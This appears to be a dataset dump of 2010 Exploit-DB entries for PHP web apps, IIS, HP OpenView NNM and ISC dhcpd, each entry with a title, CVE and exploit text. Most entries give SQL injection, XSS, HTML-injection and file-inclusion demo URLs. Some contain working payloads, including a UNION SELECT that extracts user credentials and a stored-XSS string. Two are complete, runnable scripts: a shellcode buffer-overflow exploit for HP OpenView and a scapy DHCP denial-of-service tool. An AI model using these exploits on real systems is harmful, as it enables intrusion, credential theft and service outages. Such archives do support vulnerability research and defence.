QLWD/code_shield huggingface dataset:
标题: Esoftpro Online Photo Pro 2 - Multiple Vulnerabilities EDB-ID: 14205 CVE: 2010-4999 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-04 漏洞利用脚本: Exploit Title: Esoftpro Online Photo Pro Multiple Vulnerability
Vendor url:http://www.esoftpro.com/
Version:2
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Published: 2010-07-4
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Online Photo Pro (formerly known as EPhoto PRO) is the state-of-the-art
online photo catalog that allows you to create a professional online catalog
in no time. It can be used as a Photo Gallery, Product Catalog, CD
Collection, Image Database or anything you can imagine. Online Photo Pro
features Auto Category & Photo Listing, Sorting, Independent Message Board
for each photo, Comprehensive Stats, Rating, Full Admin Interface and much
more.

With Online Photo Pro :-

    * No more manual file transfer
    * No more manual HTML code editing
    * No more complex files and directories
    * No more lack of interaction
    * No more boring static pages
    * ONE single script file handles UNLIMITED PHOTOS

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://server/OPP/index.php?section=[sqli]

*XSS Vulnerability

DEMO URL :

http://server/OPP/index.php?section=[xss]

*HTML Injection

DEMO URL:

http://server/OPP/index.php?section=[html]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/14205
标题: TCW PHP Album - Multiple Vulnerabilities EDB-ID: 14203 CVE: 2010-2715 2010-2714 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-04 漏洞利用脚本: 1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: TCW PHP Album Multiple Vulnerability
Vendor url:http://tcwphpalbum.sourceforge.net/
Version:1
Published: 2010-07-4
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

TCW PHP Album is a set of PHP scripts that (using MySQL and the GD Library)
allow you to easily make online multimedia albums. With an intuitive
administrative panel you can quickly add albums, photos, themes, and change
site settings. It also has commenting, where people can post comments on
images and numerically rate pictures, as well as other features such as IP
restriction/banning. Recently added, you can also make automatic slideshows.
TCW PHP Album requires the following:

    * PHP 4.1.2 or higher, --with-mysql
    * The GD Image Library OR ImageMagick's Convert
    * Minimum of PNG support for the above
    * A MySQL database - tested with 3.2x
    * TCW PHP Album is operating system independent. TCW PHP Album does not
support the GD Image library as it is lacking many features of convert, but
the option is available.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://server/photos/index.php?album=[sqli]

*XSS Vulnerability

DEMO URL :

http://server/photos/index.php?album=[xss]

*URL Redirection Vulnerability

DEMO URL:

http://server/photos/index.php?album=[urlredirection]

*HTML Injection

DEMO URL:

http://server/photos/index.php?album=[html]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/14203
标题: Esoftpro Online Guestbook Pro - Multiple Vulnerabilities EDB-ID: 14204 CVE: 2010-4996 2009-4935 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-04 漏洞利用脚本: Exploit Title: Esoftpro Online Guestbook Pro Multiple Vulnerability
Vendor url:http://www.esoftpro.com/
Version:5.1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Published: 2010-07-4
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Online Guestbook Pro (formerly known as EGuest PRO) is an award-winning
comprehensive guestbook system based on the popular guestbook system EGuest.
New features including Image Verification Code, Admin Interfaces, Theme
Support, Advanced Search with Highlight, Auto Web/Email Links, IP/Word
Banning, Blank Line Protection, 250+ Smiley and much more. It excels any
other guestbook scripts, allowing you to have a truly professional guestbook
on your website.

With Online Guestbook Pro :-

   1. You will never need to worry about someone messes your website.
Comprehensive protections including: Image Verification Code, HTML Filter,
IP Ban, Bad Word Filter, Blank Line Protection, Valid Email Check, Long
String Conversion, Characters Limit, IP Log etc.
   2. You will be able to have full control over your guestbook. You can
Search, Sort, Reply, Modify and Remove any entry right in the main
interface.
   3. You will be able to custom Online Guestbook Pro easily by applying
different Themes, Language Packs, Header and Footer.
   4. You will be able to interact with and entertain your visitors. Online
Guestbook Pro supports 250+ Emoticons and Auto Hyperlinks.
   5. You will be notified right after a new entry is submitted.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://server/OGP/ogp_show.php?display=130&sort=&entry=10&search=[sqli]

*XSS Vulnerability

DEMO URL :

http://server/OGP/ogp_show.php?display=130&sort=&entry=10&search=&search_choice=[xss]

*HTML Injection

DEMO URL:

http://server/OGP/ogp_show.php?display=130&sort=&entry=10&search=&search_choice=[html]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/14204
标题: Esoftpro Online Contact Manager - Multiple Vulnerabilities EDB-ID: 14206 CVE: 2010-5001 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-04 漏洞利用脚本: Exploit Title: Esoftpro Online Contact Manager Multiple Vulnerability
Vendor url:http://www.esoftpro.com/
Version:3
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Published: 2010-07-4
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Online Contact Manager (formerly known as EContact PRO) is an ultimate
online database system that allows you to store and retrieve contact
information anywhere - anytime! You'll also be able to easily send emails to
contacts with the built-in email client. Online Contact Manager features
Sorting, Mass Emails, Group Support, MS Outlook Synchronization, Birthday
Reminder, Data Export (CSV/TAB/HTML), Preference Control, Full Data
Manipulation Interfaces, 30+ Customizable Fields and much more. There is
also specially designed PDA interface allows you to use Online Contact
Manager through your PDA/Cell.

With Online Contact Manager :-

    * Your company can store, share and retrieve all employees info in one
centralized database
    * You can retrieve clients information while you are not in office
    * You will remember all your friends' birthday
    * Your organization or community members can retrieve other memebers'
information.
    * You can send emails to your friends no matter what computer you are
using.
    * You can export data into CSV (for opening with MS Excel), HTML (for
publishing as web pages) and TXT (for importing to all kinds of databases)
for  other applications like Outlook Express, MS Excel and FileMaker etc.
    * You can send emails to All Contacts or to a Particular Group of
Contacts with One Mouse Click. (Emails will be sent out separately for each
recipient by the system automatically)

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://server/OCM/view.php?id=[sqli]

*XSS Vulnerability

DEMO URL :

http://server/OCM/view.php?id=[xss]

*HTML Injection

DEMO URL:

http://server/OCM/view.php?id=[html]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/14206
标题: PHPaaCMS - 'list.php?id' SQL Injection EDB-ID: 14201 CVE: 2010-2720 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-04 漏洞利用脚本: ########################################################################################

phpaaCms (list.php?id) SQL Injection Vulnerability

########################################################################################

Author : CoBRa_21

Script Home : http://phpaa.cn

Dork : null

########################################################################################
 
Sql Injection:

http://localhost/[path]/list.php?id=161'    (SQL İnj.)

######################################################################################## URL: https://www.exploit-db.com/exploits/14201
标题: Joomla! Component Techjoomla SocialAds - Persistent Cross-Site Scripting EDB-ID: 14196 CVE: 2010-4975 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-03 漏洞利用脚本: 1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :    Joomla com_socialads Persistent Xss Vulnerability
Date : july 3,2010
Critical Level  : HIGH
vendor URL :http://techjoomla.com/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
With SocialAds for JomSocial, you can create Facebook like demographically targeted ads to show on Your JomSocial Site. This extension allows advertisers to create their advertisement , Target the users they want to show the advertisement to, Decide if they want to pay by impressions or per click, Pay online & get the advertisement started up right away !

#######################################################################################################
Xploit : Persistent Xss Vulnerability

Step 1: Register :D

Step 2: Goto to the option called "MANAGE YOUR ADS"

Step 3: In the ads description the attacker can post xss scripts 

DEMO URL :http://server/js/index.php?option=com_socialads&view=showad&Itemid=94

Attack Pattern :">><marquee><h1>XSS3d By Sid3^effects</h1><marquee>

Steap 4: Now  check your ads :P

DEMO URL :http://server/js/index.php?option=com_socialads&view=adsummary&Itemid=94&adid=23
###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14196
标题: PHPaaCMS 0.3.1 - 'show.php?id' SQL Injection EDB-ID: 14199 CVE: 2010-2719 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-04 漏洞利用脚本: #﻿Exploit Title: phpaaCms (show.php?id=) SQL injection Vulnerable
# Software http://www.phpaa.cn
# Tested on: win 7
# category: webapp
# Code : n/a
+++++++++++++++++++++++++++++++++++++++++++++++++++++++
 MWUHH TO Bl00dMafia: KashmiriMafia, Mirpuri, Mirzatun: gula, Boby, Mota & aSIM^JARRAL
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
       Gr33tz to  All PakISTANI Hackers 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 

 
----- [ Founder ] -----
 
    Shafiq-Ur-rehman
 
----- [ Email] -----
 
    aol.shafiq@gmail.com
 
 
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
 {{{{TITLE}}}
 
PHPAA (show.php) Sql injection Vulnerable
 
+++++[ Vendor ]+++++
 
http://www.phpaa.cn
 
                                                        
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 
----- [ SQL Injection ] -----
 
Put [SQL CODE]
 
[Link] http://server/phpaaCMS/show.php?id=1[SQL CODE]
 


             {Tested On}
 
----- [ Live Link (s) ] -----
 
[SQLi] http://<server>/show.php?id=1[CODE]
 
[SQLI] http://server/phpaaCMS/show.php?id=-194 union all select 1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users--
 

 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  Thanks To All: www.Exploit-db.com | Ksecurity-team Members| 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-muwhhh>>> http://www.sql-injection-tools.blogspot.com
 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
     >>Live Long Pakistan<<
 
>>> Live Long Azad Kashmir<<<
 
>>> Proude To Be A Kashmiri+Pakistani<<<
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>Bug discovered : 4 July 2010 URL: https://www.exploit-db.com/exploits/14199
标题: Ziggurat Farsi CMS - SQL Injection EDB-ID: 14192 CVE: 2010-4989 类型: WEBAPPS 平台: ASP 发布日期: 2010-07-03 漏洞利用脚本: Hello.
Thank You For Your Perfect Web Site.


# Title : Ziggurat Farsi CMS SQL Injection Vulnerability 
# Author: Arash Saadatfar

[~]######################################### InformatioN #############################################[~] 

[~] Title : Ziggurat Farsi CMS SQL Injection Vulnerability 
[~] Author : Arash Saadatfar

[~]######################################### ExploiT #############################################[~] 

[~] Vulnerable File : 

http://server/main.asp?id=5945&grp=[SQL Injection]


[~]######################################### FinisH :D #############################################[~] URL: https://www.exploit-db.com/exploits/14192
标题: Family Connections Who is Chatting AddOn - Remote File Inclusion EDB-ID: 14186 CVE: 2010-4988 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-03 漏洞利用脚本: *=======================================================
Who is Chatting 2.2.3 Remote File Include Vulnerability
=======================================================

# Author         : lumut--
# Script Details : http://www.familycms.com/downloads/details.php?file=50
# Bugs           :

<?
$chat_inc = $TMPL[\'path\'] . \"inc/chatting_inc.php\";
include_once ($chat_inc);
?>

# Expl: http://server/mod_chatting/themes/default/header.php?TMPL[path]=[shell]

# Greetz & Thanks: cr4wl3r, team_elite, kisame, virusfree, doniskynet,
manadocoding* URL: https://www.exploit-db.com/exploits/14186
标题: Microsoft IIS 5.0 - Authentication Bypass (MS10-065) EDB-ID: 14179 CVE: 2010-2731 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-02 漏洞利用脚本: MS10-065 - Directory Authentication Bypass Vulnerability

Description:
This vulnerability is because of using Alternate Data Stream to open a protected folder. All of IIS
authentication methods can be circumvented. In this technique, we can add a “:$i30:$INDEX_ALLOCATION” to a directory name to bypass the authentication.

Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14179.pdf (IIS5.1_Authentication_Bypass.pdf) URL: https://www.exploit-db.com/exploits/14179
标题: Joomla! Component eventCal 1.6.4 - Blind SQL Injection EDB-ID: 14187 CVE: 2010-4993 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-03 漏洞利用脚本: [~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Home: http://a-h-crew.net    
[~] Download App:http://joomlacode.org/gf/project/eventcal/frs/
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
eventCal is a calendar component for
Joomla!. It enables you to provide a
month, week and day-overview of events
to your users. If enabled, users will
be able to submit events from the
frontend of your site directly into the
calendar.
=========================================

[+] Dork: inurl:"com_eventcal"

==========================================


[+].  SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+

[Exploit]:  http://127.0.0.1/path/index.php?option=com_eventcal&Itemid=[BLIND SQL-i] 



===========================================================================================
[!] Albanian Hacking Crew           
===========================================================================================
[!] **RoAd_KiLlEr**   
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t | b4cKd00r ~ | DarKHackeR. | The|DennY` | EaglE EyE | Lekosta | KHG | THE_1NV1S1BL3 & All Albanian/Kosova Hackers 
===========================================================================================
[!] Spec Th4nks: Inj3ct0r.com & r0073r  | indoushka from Dz-Ghost Team  | MaFFiTeRRoR | Sid3^effects | The_Exploited | And All My Friendz
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
=========================================================================================== URL: https://www.exploit-db.com/exploits/14187
标题: HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe' CGI Invalid ICount Remote Code Execution EDB-ID: 14181 CVE: 2010-1554 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-02 漏洞利用脚本: # Exploit Title: HP OpenView NNM getnnmdata.exe CGI Invalid ICount Remote Code Execution 
# Date: 2010.07.02
# Author: S2 Crew [Hungary]
# Software Link: hp.com
# Version: 7.53
# Tested on: Windows 2003
# CVE: CVE-2010-1554

# Code :

#!/usr/bin/python

import struct
import socket
import httplib
import urllib

# calc.exe Windows Execute Command
sc2 = (
"\x89\xe7\xdb\xc4\xd9\x77\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4a\x48\x4c\x49\x47\x70\x43\x30\x45\x50\x51\x70\x4f\x79"
"\x4d\x35\x50\x31\x4b\x62\x43\x54\x4e\x6b\x51\x42\x46\x50\x4e"
"\x6b\x50\x52\x46\x6c\x4e\x6b\x51\x42\x46\x74\x4c\x4b\x43\x42"
"\x47\x58\x46\x6f\x4f\x47\x42\x6a\x46\x46\x44\x71\x4b\x4f\x44"
"\x71\x4f\x30\x4e\x4c\x47\x4c\x51\x71\x51\x6c\x46\x62\x44\x6c"
"\x45\x70\x4f\x31\x48\x4f\x44\x4d\x47\x71\x4a\x67\x4a\x42\x4c"
"\x30\x43\x62\x46\x37\x4c\x4b\x50\x52\x44\x50\x4c\x4b\x42\x62"
"\x45\x6c\x45\x51\x4e\x30\x4c\x4b\x47\x30\x50\x78\x4e\x65\x4b"
"\x70\x43\x44\x43\x7a\x43\x31\x4a\x70\x46\x30\x4e\x6b\x51\x58"
"\x42\x38\x4c\x4b\x46\x38\x47\x50\x43\x31\x4b\x63\x4b\x53\x47"
"\x4c\x42\x69\x4c\x4b\x45\x64\x4c\x4b\x45\x51\x4a\x76\x46\x51"
"\x4b\x4f\x45\x61\x49\x50\x4c\x6c\x4a\x61\x48\x4f\x44\x4d\x45"
"\x51\x4a\x67\x47\x48\x4b\x50\x44\x35\x4b\x44\x44\x43\x43\x4d"
"\x4a\x58\x47\x4b\x43\x4d\x51\x34\x51\x65\x4d\x32\x42\x78\x4c"
"\x4b\x43\x68\x47\x54\x47\x71\x4a\x73\x51\x76\x4c\x4b\x46\x6c"
"\x50\x4b\x4e\x6b\x42\x78\x45\x4c\x45\x51\x49\x43\x4c\x4b\x47"
"\x74\x4e\x6b\x47\x71\x4e\x30\x4d\x59\x47\x34\x46\x44\x44\x64"
"\x51\x4b\x43\x6b\x50\x61\x42\x79\x42\x7a\x50\x51\x49\x6f\x49"
"\x70\x43\x68\x51\x4f\x51\x4a\x4e\x6b\x45\x42\x4a\x4b\x4d\x56"
"\x43\x6d\x50\x6a\x47\x71\x4c\x4d\x4c\x45\x4e\x59\x45\x50\x45"
"\x50\x45\x50\x50\x50\x43\x58\x45\x61\x4e\x6b\x42\x4f\x4b\x37"
"\x4b\x4f\x4a\x75\x4d\x6b\x4c\x30\x4c\x75\x49\x32\x42\x76\x50"
"\x68\x4d\x76\x4a\x35\x4f\x4d\x4f\x6d\x4b\x4f\x49\x45\x47\x4c"
"\x43\x36\x51\x6c\x45\x5a\x4b\x30\x49\x6b\x4b\x50\x43\x45\x45"
"\x55\x4d\x6b\x42\x67\x47\x63\x51\x62\x42\x4f\x50\x6a\x45\x50"
"\x51\x43\x4b\x4f\x4b\x65\x45\x33\x43\x51\x50\x6c\x45\x33\x46"
"\x4e\x43\x55\x51\x68\x50\x65\x43\x30\x45\x5a\x41\x41"
)

egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x54\x30\x30\x57\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)

ret = struct.pack('<L',0x5A667A77) # ppr
jmp1 = '\xeb\xf9\x90\x90'
jmp2 = '\xeb\xdd\x90\x90\x90'

p = 'Topo=X&SnmpVals=X&Hostname=X&ICount='+'9'*100+'A'*1917+egghunter+jmp2+jmp1 + ret + "C"*500

h = {"Content-Type": "application/x-www-form-urlencoded","Host":"172.16.29.149","User-Agent":"T00WT00W"+sc2}

c = httplib.HTTPConnection('172.16.29.149')
c.request("POST","/OvCgi/getnnmdata.exe",p,h)
r = c.getresponse()

print r.status, r.reason
data = r.read()
print data
c.close()

print "\nDone\n" URL: https://www.exploit-db.com/exploits/14181
标题: ISC DHCPD - Denial of Service EDB-ID: 14185 CVE: 2010-2156 类型: DOS 平台: MULTIPLE 发布日期: 2010-07-03 漏洞利用脚本: #!/usr/bin/env python
# Exploit title: isc-dhcpd DoS
# Date: 03/07/2010 
# Author: sid
# Software Link: https://www.isc.org/software/dhcp
# Version:  4.0.x, 4.1.x, 4.2.x 
# CVE: cve-2010-2156
# ps: is possible make a bruteforce on subnet ip address to find a correct value. 
# 


import sys
import string

if len(sys.argv) is 1:
 print("Usage: " + sys.argv[0] + "-ip=<legal ip in subnet>")
 print("Example: " + sys.argv[0] + " -ip=192.168.1.100")
 sys.exit(0)

for i in range(len(sys.argv)):
 if string.find(sys.argv[i],"-ip") is 0:
  globals()['ip'] = sys.argv[i].split('=')[1]

from scapy.all import *

globals()['verbose'] = 2

def msg(string, level):
    if globals()['verbose'] >= level:
        print(string)

msg("attack...",2)
p=(Ether(src="aa:aa:aa:aa:aa:aa",dst="ff:ff:ff:ff:ff:ff")/IP(dst="255.255.255.255")/UDP(sport=68,dport=67)/
BOOTP(ciaddr=globals()['ip'],chaddr="\xaa\xaa\xaa\xaa\xaa\xaa")/
DHCP(options=[("message-type","request"),("client_id",""),("end")]))

if p:
 p.show()
sendp(p)

#EOF URL: https://www.exploit-db.com/exploits/14185